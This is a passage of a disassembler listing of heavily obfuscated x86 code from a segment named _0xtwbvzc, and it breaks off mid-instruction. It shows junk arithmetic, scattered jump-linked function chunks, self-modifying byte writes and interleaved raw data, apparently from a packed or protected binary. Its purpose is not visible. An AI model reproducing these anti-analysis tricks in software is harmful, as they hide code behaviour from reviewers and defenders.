FUNCTION CHUNK FOR sub_7817BC ; --------------------------------------------------------------------------- loc_78034F: ; CODE XREF: _0xtwbvzc:0077F313j ; _0xtwbvzc:0078054Fp xchg ebx, [esp] pop ebx xchg ebx, [esp] call sub_780FA9 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_78035D: ; CODE XREF: _0xtwbvzc:loc_78038Ej push offset word_7806DE jmp locret_780579 ; --------------------------------------------------------------------------- align 4 dd 0C300h, 0E1C12E89h, 11EFE915h, 0 dd 0E85EC603h, 463h, 80E58100h, 0E960486Ah, 0FFFFEFDEh db 0, 0C3h ; --------------------------------------------------------------------------- loc_78038E: ; CODE XREF: _0xtwbvzc:00780AABj jmp loc_78035D ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7802A7 loc_780395: ; CODE XREF: sub_7802A7+6j jmp loc_780ED8 ; END OF FUNCTION CHUNK FOR sub_7802A7 ; --------------------------------------------------------------------------- xor esi, 9458CB2Ah rol esi, 10h xor esi, 141BEA14h test ebx, esi push 77FD18h jmp loc_781572 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7805C0 loc_7803B7: ; CODE XREF: sub_7805C0-BBj push offset byte_781435 jmp loc_780CB4 ; END OF FUNCTION CHUNK FOR sub_7805C0 ; --------------------------------------------------------------------------- align 2 dw 0B8E8h dd 0FFFFFBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780018 loc_7803C8: ; CODE XREF: sub_780018+Aj jmp locret_77FA61 ; END OF FUNCTION CHUNK FOR sub_780018 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 8Eh dd 99000010h, 0E7B5FD81h, 8EE92F52h, 0FFFFFF4h, 1D82h dd 0FC63300h, 0FFEEA086h, 1ADE81FFh, 81DEAFE6h, 0F39B9C1h dd 0FEC9E977h, 8700FFFFh, 0C65A2414h, 2C878B03h, 5DDD8B24h dd 0C9B4C681h, 6890EA0h, 0FFF06DE9h, 243C87FFh, 8B240C87h dd 685259F9h, 39F474E4h, 0B18E9h db 0 ; --------------------------------------------------------------------------- loc_78042D: ; CODE XREF: _0xtwbvzc:0077FBF3j mov byte ptr [eax], 8Bh pop eax push offset byte_781261 jmp locret_781736 ; --------------------------------------------------------------------------- align 4 dd 0E9D5F700h, 0E06h, 66E9CD3Bh db 5, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F25A loc_78044B: ; CODE XREF: sub_77F25A:loc_7808F1j mov byte ptr [ecx], 87h loc_78044E: ; CODE XREF: _0xtwbvzc:00780BCCj pop ecx xor ebx, 19A6E299h add ebx, 0B0C7B864h xor ebx, 0FF0F43B9h and ebx, 0CEF3B228h jmp loc_77F8A4 ; END OF FUNCTION CHUNK FOR sub_77F25A ; --------------------------------------------------------------------------- dd 8B570000h, 14F1E8F8h, 0 ; --------------------------------------------------------------------------- loc_780478: ; CODE XREF: _0xtwbvzc:00780F5Bj jmp loc_781359 ; --------------------------------------------------------------------------- db 2 dup(0), 58h ; --------------------------------------------------------------------------- rol eax, 18h add eax, 613F5CBFh xor eax, 0D774258Eh jmp loc_780758 ; --------------------------------------------------------------------------- dd 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_78020A loc_780499: ; CODE XREF: sub_78020A+Bj jmp nullsub_315 ; END OF FUNCTION CHUNK FOR sub_78020A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_78049F: ; CODE XREF: sub_7815C7-1A9Bj pop edx push ebx push 0CA0BE126h pop ebx jmp loc_77F6CF ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780763 loc_7804AE: ; CODE XREF: sub_780763:loc_77FCEAj and eax, 1D5185E6h sub eax, 0A9862DFFh test eax, 1000h jmp near ptr dword_77F400+8Fh ; END OF FUNCTION CHUNK FOR sub_780763 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- or al, 24h pop ecx jmp loc_781125 ; --------------------------------------------------------------------------- dd 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781910 loc_7804D5: ; CODE XREF: sub_77F25A+653j ; sub_781910-CDBj push offset dword_780FC0 jmp loc_77FCB8 ; END OF FUNCTION CHUNK FOR sub_781910 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7805C0 loc_7804DF: ; CODE XREF: sub_7805C0:loc_780587j xchg esi, [esp+0] xchg eax, [esp+0] mov esi, eax pop eax call sub_780763 add cl, ch jno short loc_780500 ; END OF FUNCTION CHUNK FOR sub_7805C0 ; --------------------------------------------------------------------------- db 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_7804F5: ; CODE XREF: _0xtwbvzc:0077FB39j jmp near ptr dword_77F400+106h ; --------------------------------------------------------------------------- loc_7804FA: ; CODE XREF: _0xtwbvzc:0077FD81j xchg ebx, [esp] pop ebx ; --------------------------------------------------------------------------- dw 0C381h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7805C0 loc_780500: ; CODE XREF: sub_7805C0-D1j lahf clc aas int 9Dh ; used by BASIC while in interpreter jmp loc_7803B7 ; END OF FUNCTION CHUNK FOR sub_7805C0 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0E9h), 0F1h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781187 loc_780513: ; CODE XREF: sub_781187-16E5j jmp loc_780826 ; END OF FUNCTION CHUNK FOR sub_781187 ; --------------------------------------------------------------------------- dd 0F5B0000h, 0FFFB7984h, 0F506E9FFh, 0FFFFh, 0FDE92987h dd 0FFFFEEh ; --------------------------------------------------------------------------- loc_780530: ; CODE XREF: _0xtwbvzc:00780B81j push ebx ; =============== S U B R O U T I N E ======================================= sub_780531 proc near ; CODE XREF: _0xtwbvzc:00780B0Ep ; FUNCTION CHUNK AT 0077FBB1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 007805A1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00780F39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781046 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007815A7 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx mov edx, offset loc_77F758 jmp loc_7815A7 sub_780531 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 78120E68h, 0F775E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_78054A: ; CODE XREF: _0xtwbvzc:loc_7813E6j mov ebp, esp push ebx mov ebx, ecx call loc_78034F add bl, al jmp loc_780636 ; --------------------------------------------------------------------------- align 4 dd 27FCCF81h, 0EDC16AD7h, 0F634E90Ah, 0FFFFh, 71E91787h dd 5000000Fh, 34DE8h db 0 ; --------------------------------------------------------------------------- locret_780579: ; CODE XREF: _0xtwbvzc:00780362j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_78057C: ; CODE XREF: _0xtwbvzc:loc_77FE1Ej ; sub_7815C7-9A1j jmp loc_7808D5 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 2 mov ebp, [edx] mov [ebp+0], ebx ; START OF FUNCTION CHUNK FOR sub_7805C0 loc_780587: ; CODE XREF: sub_7805C0+4j jmp loc_7804DF ; END OF FUNCTION CHUNK FOR sub_7805C0 ; --------------------------------------------------------------------------- dd 0F6810000h, 0BD487D90h, 9752C681h, 0A9E907C7h, 5 ; CODE XREF: _0xtwbvzc:0078117Fj db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780531 loc_7805A1: ; CODE XREF: sub_780531-96Aj rol eax, 0Fh or eax, 1614F47Eh call sub_77FC00 jmp loc_781046 ; END OF FUNCTION CHUNK FOR sub_780531 ; --------------------------------------------------------------------------- push edx jmp loc_7811BD ; --------------------------------------------------------------------------- sub eax, 0D62A1E7h ; =============== S U B R O U T I N E ======================================= sub_7805C0 proc near ; CODE XREF: _0xtwbvzc:loc_7808E0p ; FUNCTION CHUNK AT 007803B7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007804DF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00780500 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780587 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780CB4 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jmp loc_780587 sub_7805C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7805C9: ; CODE XREF: _0xtwbvzc:0077F75Aj xchg ebx, [esp] jmp loc_780ABF ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 685E0000h, 781298h, 708E9h, 0B8000000h, 69270897h, 0FFFE12E9h dd 0C30000FFh, 24148700h, 9503685Ah, 0C87BBC1h, 59D98B24h dd 3B7DEB81h, 0C3F70E73h, 20h, 0DFE9h, 4FE80000h, 0FFFFEEh db 0 ; --------------------------------------------------------------------------- loc_780619: ; CODE XREF: _0xtwbvzc:0077F8B7j jmp locret_7801C5 ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_78077A loc_780623: ; CODE XREF: sub_78077A+8FCj jmp near ptr dword_780028+46h ; END OF FUNCTION CHUNK FOR sub_78077A ; --------------------------------------------------------------------------- dd 0E9D5F700h, 0FA4h, 0B2FE800h db 2 dup(0) ; --------------------------------------------------------------------------- loc_780636: ; CODE XREF: _0xtwbvzc:00780556j jnp loc_78007D sbb edx, esi jmp loc_78146D ; --------------------------------------------------------------------------- align 4 dd 33E8008Bh, 2 db 0 ; --------------------------------------------------------------------------- loc_78064D: ; CODE XREF: sub_77F651:loc_780BAAp xchg esi, [esp] pop esi add edx, 733B3663h popf xor eax, eax call sub_780D80 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7817BC loc_780661: ; CODE XREF: sub_7817BC+14j jmp loc_780EAC ; END OF FUNCTION CHUNK FOR sub_7817BC ; --------------------------------------------------------------------------- loc_780666: ; DATA XREF: _0xtwbvzc:loc_7809A6o mov byte ptr [ecx], 9Ch pop ecx xor ecx, 1108914h push 780129h jmp loc_781036 ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- add al, 24h mov edi, eax pop eax push ebp jmp loc_77F856 ; --------------------------------------------------------------------------- align 4 push eax db 2Eh push offset loc_78150D jmp locret_781003 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_780696: ; CODE XREF: sub_7815C7+E7j ; sub_7815C7+23Bj or edx, 0E41E7AB4h and edx, 7AA2AF08h call loc_7806AD add cl, ch ; CODE XREF: _0xtwbvzc:00781892j fucomip st, st(5) ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 0FFh db 0FFh ; --------------------------------------------------------------------------- loc_7806AD: ; CODE XREF: _0xtwbvzc:0077F671j ; sub_7815C7-F25p xchg eax, [esp] pop eax add edx, 0A0755CCAh loc_7806B7: ; DATA XREF: _0xtwbvzc:0078196Eo sub al, 14h and al, 0E9h push ss ; --------------------------------------------------------------------------- db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_7806BF: ; DATA XREF: _0xtwbvzc:0077FE2Ao push eax mov eax, edx xchg eax, [esp] mov edx, 78016Fh jmp loc_780C5D ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 0DC9h, 119CE9h db 2 dup(0) word_7806DE dw 0C6h ; DATA XREF: _0xtwbvzc:loc_78035Do dd 0C1C158FCh, 89E1811Ch, 0E978AED7h, 0FFFFF101h, 0EC30840Fh dd 0FFFFh ; --------------------------------------------------------------------------- loc_7806F8: ; CODE XREF: _0xtwbvzc:00780F04j jmp loc_7816F0 ; --------------------------------------------------------------------------- align 2 dw 3B8Bh dd 0FFEC15E9h db 0FFh ; --------------------------------------------------------------------------- locret_780705: ; CODE XREF: _0xtwbvzc:007811A1j retn ; --------------------------------------------------------------------------- align 4 loc_780708: ; CODE XREF: _0xtwbvzc:0077F907j jmp locret_77F66E ; --------------------------------------------------------------------------- sub ebx, eax loc_78070F: ; CODE XREF: _0xtwbvzc:loc_7810C3j add esi, 0B767F3EAh xchg esi, [esp] jmp loc_77F3E4 ; --------------------------------------------------------------------------- db 0Fh, 88h, 1 dd 6800000Ah, 780F0Ah, 0FFFC3CE9h, 0A8860FFFh, 0E9000013h dd 0FFFFF6B0h, 0ECFCB800h, 0EB812C98h, 0DCF14A0Ch, 87FE9h dd 0CE810000h, 6AFDB7AFh, 9B1E9h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD "+" TO EXPAND] align 4 loc_780758: ; CODE XREF: _0xtwbvzc:0078048Fj jmp loc_77F862 ; --------------------------------------------------------------------------- jmp loc_7818EE ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_780763 proc near ; CODE XREF: sub_7805C0-D8p ; FUNCTION CHUNK AT 0077FCEA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007804AE SIZE 00000017 BYTES xchg edx, [esp+0] pop edx push ecx mov ecx, eax xchg ecx, [esp+0] push 421453B1h pop eax jmp loc_77FCEA sub_780763 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_78077A proc near ; CODE XREF: _0xtwbvzc:007802A2p ; FUNCTION CHUNK AT 00780623 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781070 SIZE 0000000B BYTES xchg ebx, [esp+0] xchg ecx, [esp+0] mov ebx, ecx pop ecx push 4F2D3A42h pop edx and edx, 8786AD22h or edx, 0EA440008h jmp loc_781070 sub_78077A endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0F3C2880Fh, 0E900FFFFh, 10A9h, 23E98B00h, 0F3B2E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_7807B2: ; DATA XREF: sub_780018+5o push 3809ECBAh xchg ebx, [esp] mov eax, ebx pop ebx sub eax, 41914751h jmp loc_780C92 ; --------------------------------------------------------------------------- dd 98680000h, 0E9007818h, 0C1Bh ; --------------------------------------------------------------------------- loc_7807D4: ; DATA XREF: sub_780531+B1Bo push 44470920h pop esi rol esi, 0Bh push ecx jmp loc_781174 ; --------------------------------------------------------------------------- loc_7807E3: ; CODE XREF: _0xtwbvzc:00780F81j xchg esi, [esp] pop esi mov eax, [eax] xchg eax, [esp] push eax jmp loc_781845 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_78186E loc_7807F4: ; CODE XREF: sub_78186E+6j mov byte ptr [ebx], 0C1h pop ebx add edx, eax loc_7807FA: ; DATA XREF: sub_78186E+1o cmpsd retn 3103h ; END OF FUNCTION CHUNK FOR sub_78186E ; --------------------------------------------------------------------------- db 0C2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F98E loc_7807FF: ; CODE XREF: sub_77F98E:loc_781495j dec ecx jnz loc_7810AF call sub_77F978 add cl, ch push 8 ; END OF FUNCTION CHUNK FOR sub_77F98E ; --------------------------------------------------------------------------- db 0 dd 0BD2F700h, 0F714E9C7h, 0F700FFFFh, 810EF2C3h, 5B6E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781187 loc_780826: ; CODE XREF: sub_781187:loc_780513j pop ebp xchg edi, [esp-4+arg_0] push esi mov esi, 77F2CCh jmp loc_78091B ; END OF FUNCTION CHUNK FOR sub_781187 ; --------------------------------------------------------------------------- align 2 dw 6C6h dd 24048787h, 0E958F08Bh, 0FFFFF043h, 0C0C10000h, 0E4C08108h dd 0F1F8457h, 0FFF87889h, 0EE820FFFh, 68FFFFF2h, 7800D8h dd 723E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F93B loc_780867: ; CODE XREF: sub_77F93B:loc_7808F8j add edx, 79FCA4h jmp near ptr dword_77F798+77h ; END OF FUNCTION CHUNK FOR sub_77F93B ; --------------------------------------------------------------------------- locret_780872: ; CODE XREF: _0xtwbvzc:00781277j retn ; --------------------------------------------------------------------------- db 0BFh db 8, 0C9h dw 0BBD9h dd 0FFEA2EE9h, 48700FFh, 0C0095824h, 0FC48850Fh, 38E8FFFFh dd 52FFFFFCh, 0E0815A58h, 2354DC3Fh, 0F4B1850Fh, 0F00FFFFh dd 0FFFFBB8Fh, 87D68BFFh, 0F4A1E906h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_7808AF: ; CODE XREF: _0xtwbvzc:0077FD70j retn ; --------------------------------------------------------------------------- dd 7F9E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_7808B7: ; DATA XREF: _0xtwbvzc:0077FD6Bo add edx, eax push edx mov edx, offset loc_780F95 jmp loc_78095A ; --------------------------------------------------------------------------- dd 3487CF23h, 689C5E24h, 780EDB3h, 0FFF916E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_7808D5: ; CODE XREF: sub_7815C7:loc_78057Cj push offset loc_77F740 jmp nullsub_258 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 10h loc_7808E0: ; CODE XREF: _0xtwbvzc:0077F760j call sub_7805C0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD "+" TO EXPAND] word_7808E6 dw 2C87h ; DATA XREF: sub_77F978+1BCDo dd 0E8F58B24h, 0FFFFEFD6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F25A loc_7808F1: ; CODE XREF: sub_77F25A+191Cj jmp loc_78044B ; END OF FUNCTION CHUNK FOR sub_77F25A ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_77F93B loc_7808F8: ; CODE XREF: sub_77F93B+18j jmp loc_780867 ; END OF FUNCTION CHUNK FOR sub_77F93B ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF575h, 0F12E840Fh, 0BE9FFFFh, 0FFFFFCh dword_780910 dd 0FFA0058Dh, 0FEE80077h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781187 loc_78091B: ; CODE XREF: sub_781187-957j jmp near ptr dword_77F2A0+25h ; END OF FUNCTION CHUNK FOR sub_781187 ; --------------------------------------------------------------------------- dd 0B850D68Bh, 77FDDBh, 0FFE949E9h, 890000FFh, 0FB91E908h db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_780937 proc near ; CODE XREF: _0xtwbvzc:00780AB2p xchg ecx, [esp+0] xchg ebx, [esp+0] mov ecx, ebx pop ebx push 0AA9E4574h pop eax jmp near ptr loc_780AB7+1 sub_780937 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0F7DD2B00h, 1ACF57C1h, 0F61FE9B3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_78095A: ; CODE XREF: _0xtwbvzc:007808BFj mov byte ptr [edx], 31h xchg esi, [esp] mov edx, esi pop esi push offset byte_781443 jmp near ptr dword_77FEDC+4Ch ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0EFBB4ADBh, 0F8DAE9D6h, 8100FFFFh, 468CFAF2h, 0E2CA818Fh dd 81DCD45Bh, 96BE91EAh, 0A6F281D6h, 0E9617D3Eh, 0FFFFFC99h db 2 dup(0) ; --------------------------------------------------------------------------- locret_78099A: ; CODE XREF: _0xtwbvzc:loc_77F5F4j retn ; --------------------------------------------------------------------------- jmp loc_7812E1 ; --------------------------------------------------------------------------- dd 472E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_7809A6: ; CODE XREF: _0xtwbvzc:00780D98j push offset loc_780666 jmp loc_7819E0 ; --------------------------------------------------------------------------- dd 5810F00h, 0C100000Fh, 34870BEDh, 7AE95E24h, 0Fh, 0E9D18500h dd 54Fh, 0E39FDA68h, 0EE6E982h, 81000000h, 0A1254EF7h dd 10C7C118h, 1EC830Fh, 0 ; --------------------------------------------------------------------------- cdq push 238F715h jmp loc_780BC1 ; --------------------------------------------------------------------------- align 4 dd 24148700h, 0E98B555Ah, 68242C87h, 0C1333F18h, 0EAB5E959h dd 0F00FFFFh, 0FFF41385h, 0E90000FFh, 0FFFFF7BCh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F978 loc_780A19: ; CODE XREF: sub_77F978+9j jmp loc_781544 ; END OF FUNCTION CHUNK FOR sub_77F978 ; --------------------------------------------------------------------------- adc edx, ecx test ecx, esi jmp loc_77FE1E ; --------------------------------------------------------------------------- align 4 dd 0EE98E999h db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_780A2E: ; CODE XREF: _0xtwbvzc:0078022Fj retn ; --------------------------------------------------------------------------- jmp loc_7812AB ; --------------------------------------------------------------------------- dd 0B4E9D1F7h, 58FFFFF5h, 74F9E881h, 0C081187Eh, 0CAB2BAF6h dd 1772F081h, 0B2E92393h, 7 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 0FFFFE988h dword_780A5C dd 80C015FFh, 91680075h, 0E9007817h, 0FFFFE962h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781374 loc_780A6D: ; CODE XREF: sub_781374+Ej xchg eax, [esp+4+var_4] push 0F12F78C4h pop ecx sub ecx, 37CA1C65h xor ecx, 84DD457Dh add ecx, 2A06F720h or ecx, 715873DCh add ecx, 8878A2F3h jmp loc_781429 ; END OF FUNCTION CHUNK FOR sub_781374 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_77F522 loc_780A9A: ; CODE XREF: sub_77F522+724j pop ebp xchg ebp, [esp-8+arg_4] mov edi, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_77F522 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_780AA5: ; CODE XREF: _0xtwbvzc:00780C12j sbb ebp, 4CBBE678h jbe loc_78038E loc_780AB1: ; CODE XREF: _0xtwbvzc:007802ECj push eax call sub_780937 loc_780AB7: ; CODE XREF: sub_780937+Fj add cl, ch mov esp, 0Eh ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_780ABF: ; CODE XREF: _0xtwbvzc:007805CCj jmp loc_78109E ; --------------------------------------------------------------------------- dd 0ADE80000h, 0Ah db 0 byte_780ACD db 81h, 0C0h, 0E3h ; DATA XREF: _0xtwbvzc:007813CDo dd 0E8588AA7h, 3ACh, 0EBC10000h, 0F937E912h, 0FFFFh, 0DDECF081h dd 0C881CED4h, 0E5EEF75Dh, 99B2F881h, 0A6E93034h, 0FFFFFEh dd 0AA0BD181h, 7DE98D76h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_780B07: ; CODE XREF: _0xtwbvzc:00781508p xchg esi, [esp] pop esi xchg eax, [esp] call sub_780531 ; --------------------------------------------------------------------------- db 0 dd 0C300h ; --------------------------------------------------------------------------- locret_780B18: ; CODE XREF: _0xtwbvzc:loc_77F928j retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_7811D4 loc_780B1A: ; CODE XREF: sub_7811D4+9j popf push offset loc_7801B2 jmp nullsub_314 ; END OF FUNCTION CHUNK FOR sub_7811D4 ; --------------------------------------------------------------------------- align 2 adc edi, 0D7E00698h sub ecx, 209A7A8Ch jmp loc_77FECA ; --------------------------------------------------------------------------- align 4 dd 5CE9FE1Bh, 0FFFFF3h ; --------------------------------------------------------------------------- locret_780B40: ; CODE XREF: _0xtwbvzc:0077FD63j retn ; --------------------------------------------------------------------------- align 2 dw 0FFE9h dd 0FFFFFCh, 0FFFAC5E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_780B4E: ; CODE XREF: _0xtwbvzc:007801BFj jmp loc_77FA72 ; --------------------------------------------------------------------------- align 4 dd 33EE900h, 9D000000h, 0FFEAF0E9h, 0D0F700FFh, 0FFEFC9E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F25A loc_780B69: ; CODE XREF: sub_77F25A+5j xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] xchg eax, [esp-4+arg_0] mov ecx, eax pop eax jmp loc_7808F1 ; END OF FUNCTION CHUNK FOR sub_77F25A ; --------------------------------------------------------------------------- add ecx, 0F1A3741Eh jmp loc_780530 ; --------------------------------------------------------------------------- align 4 locret_780B88: ; CODE XREF: _0xtwbvzc:0077FC23j retn ; --------------------------------------------------------------------------- db 2 dup(0) byte_780B8B db 56h ; DATA XREF: _0xtwbvzc:0077FC1Eo dd 0FFE7B2E8h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780FE8 loc_780B91: ; CODE XREF: sub_780FE8+Dj or esi, 0F592FE52h sub esi, 0CB4A6906h add esi, 0CBC374ECh jmp loc_77FFAE ; END OF FUNCTION CHUNK FOR sub_780FE8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F651 loc_780BAA: ; CODE XREF: sub_77F651:loc_77F989j call loc_78064D ; END OF FUNCTION CHUNK FOR sub_77F651 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FDBF loc_780BB1: ; CODE XREF: sub_77FDBF+Bj mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp-4+arg_0] push ecx push ebx jmp near ptr word_77FAEE+1 ; END OF FUNCTION CHUNK FOR sub_77FDBF ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_780BC1: ; CODE XREF: _0xtwbvzc:007809EEj jns loc_780F7B mov esi, 0F238C1E7h jno loc_78044E add edi, 5AEABBA2h and ch, bh push esi jmp loc_78132C ; --------------------------------------------------------------------------- dd 241C8700h, 3D689D5Bh, 0E9007810h, 0FFFFF5F5h, 0EF2B0000h dd 1AE9EF3Bh, 0FFFFEFh, 6A6800C3h, 0E90077F9h, 0FFFFE7CDh db 0 ; --------------------------------------------------------------------------- loc_780C09: ; CODE XREF: _0xtwbvzc:007802F2j mov ebp, [eax] sub esi, 3B87B111h push edi jmp loc_780AA5 ; --------------------------------------------------------------------------- xchg ecx, [esp] retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF62Bh db 0, 8Bh, 10h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_780C23: ; CODE XREF: sub_7815C7:loc_7815ECj add eax, 4 jmp loc_78057C ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_781910 loc_780C2C: ; CODE XREF: sub_781910-AD3j add edi, 0BB3733F5h xchg edi, [esp+0] jmp loc_7804D5 ; END OF FUNCTION CHUNK FOR sub_781910 ; --------------------------------------------------------------------------- dw 6852h dd 0E2622B5Ch, 0FFFDCEE9h, 0EE8100FFh, 6D78B8BFh, 0FFFC2DE9h dd 0E80000FFh, 0FFFFF013h, 635E9h db 0 ; --------------------------------------------------------------------------- loc_780C5D: ; CODE XREF: _0xtwbvzc:007806CAj mov byte ptr [edx], 0C3h pop edx push 780166h jmp locret_77FBD8 ; --------------------------------------------------------------------------- align 4 pop ebx push edi pushf push 3B909C42h pop edi rol edi, 0Bh and edi, 313A28ECh add edi, 55F6CDh jmp loc_780D10 ; --------------------------------------------------------------------------- db 2 dup(0) byte_780C8B db 0E8h ; DATA XREF: sub_7802A7:loc_780ED8o dd 0FFFFF76Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_780C92: ; CODE XREF: _0xtwbvzc:007807C3j jmp near ptr dword_77FE34+1 ; --------------------------------------------------------------------------- align 4 locret_780C98: ; CODE XREF: _0xtwbvzc:loc_78027Bj retn ; --------------------------------------------------------------------------- align 2 word_780C9A dw 6852h ; DATA XREF: _0xtwbvzc:loc_7815B3o dd 0B742B3A1h, 1EC2C15Ah, 45C7E281h, 0F4E9699Ch, 0FFFFFAh dd 0C300h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7805C0 loc_780CB4: ; CODE XREF: sub_7805C0-204j jmp nullsub_311 ; END OF FUNCTION CHUNK FOR sub_7805C0 ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h dd 6, 0ABFE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_780CC6: ; CODE XREF: _0xtwbvzc:0078008Cj push 77F9E7h jmp loc_78027B ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_780CD2 proc near ; CODE XREF: sub_7815C7-1D97p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00780E60 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0078138C SIZE 00000005 BYTES xchg eax, 